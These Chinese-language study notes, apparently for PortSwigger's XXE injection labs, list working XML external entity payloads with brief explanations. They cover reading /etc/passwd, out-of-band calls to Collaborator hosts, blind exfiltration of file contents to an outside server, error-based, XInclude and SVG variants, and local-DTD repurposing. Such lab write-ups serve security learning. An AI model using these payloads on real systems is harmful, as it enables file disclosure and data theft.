Portswigger 靶场之 XML 外部实体 (XXE) 注入

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

# 定义了一个名为 xxe 的实体，它指向文件系统中的 /etc/passwd 文件。

<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://1hj71n3ymgjdmmtrt6ye3mqcf3lt9i.oastify.com"> %xxe; ]>

# 定义了一个名为 xxe 的参数实体，它指向一个远程 URL http://……
# 使用了 % 操作符来引用实体，%xxe --> 表示引用实体xxe
# XML 文档被解析时，实体引用（%xxe; ）将会被展开并替换为实体声明中的值（也就是远程 URL），而可能导致系统被攻击者控制的服务器接管。

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://0abk7wm21os9liaqg27kek4ic9iz6o.oastify.com/?x=%file;'>">
%eval;
%exfil;

# 定义了一个名为 file 的外部实体，它包含了 /etc/hostname 文件的内容。可以利用此实体来访问并泄露目标系统中的文件内容

# 这一行定义了一个名为 eval 的外部实体，它包含了一个实体声明 exfil，该实体可将 file 实体的内容发送到攻击者控制的服务器。exfil实体的定义包括一个URL，该URL包含攻击者控制的服务器地址和将file实体的内容作为查询参数的字符串。在这种情况下，exfil实体将文件内容发送到http://0abk7wm21os9liaqg27kek4ic9iz6o.oastify.com/，并将file实体的内容作为查询参数x的值。

# %eval; %exfil; 这两行将eval实体和exfil实体插入到XML文档中。攻击者可以将这些实体插入到一个合法的XML文档中，并发送给目标系统进行解析。在解析XML文档时，目标系统将解析eval实体，然后解析exfil实体，从而触发将file实体的内容发送到攻击者控制的服务器的行为。

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a57006c0302b2d5c0e221d8013c0082.exploit-server.net/exploit"> %xxe;]>

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a42007304c1c092c003856801a900e4.exploit-server.net/exploit"> %xxe;]>

# 定义了一个名为 foo 的 DTD 声明，其中包含了一个名为 xxe的 外部实体。
# xxe 实体的定义包括一个 URL，该 URL 指向服务器上的一个文件，文件包含敏感信息。在这种情况下，可以将获取的信息发送到 https……

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

# 这个XML文档定义了一个名为foo的元素，并且通过XML命名空间定义了一个名为xi的前缀，它的命名空间是"http://www.w3.org/2001/XInclude"。然后，它使用了`xi:include`元素来指定要包含的内容，包括`parse`和`href`属性。

# parse属性指定了包含的文件是以文本方式解析的，而不是XML方式解析。href属性指定了要包含的文件的路径，这里是file:///etc/passwd，也就是本地系统上的/etc/passwd文件。由于该文件包含有关用户帐户的信息，因此攻击者可以使用这种技术来收集系统信息并进行其他攻击。

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

# 当SVG文件被处理时，xxe实体会被解析为文件/etc/hostname的内容，然后将该内容作为文本元素的内容插入到SVG图像中，从而显示该文件的内容。

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

# 定义名为“file”的实体，并将其设置为/etc/passwd文件的路径，然后通过将这个实体插入到另一个名为“eval”的实体中，最终触发了漏洞，导致可以读取系统上的/etc/passwd文件的内容。同时，攻击者也定义了一个名为“error”的实体，用于报告错误信息。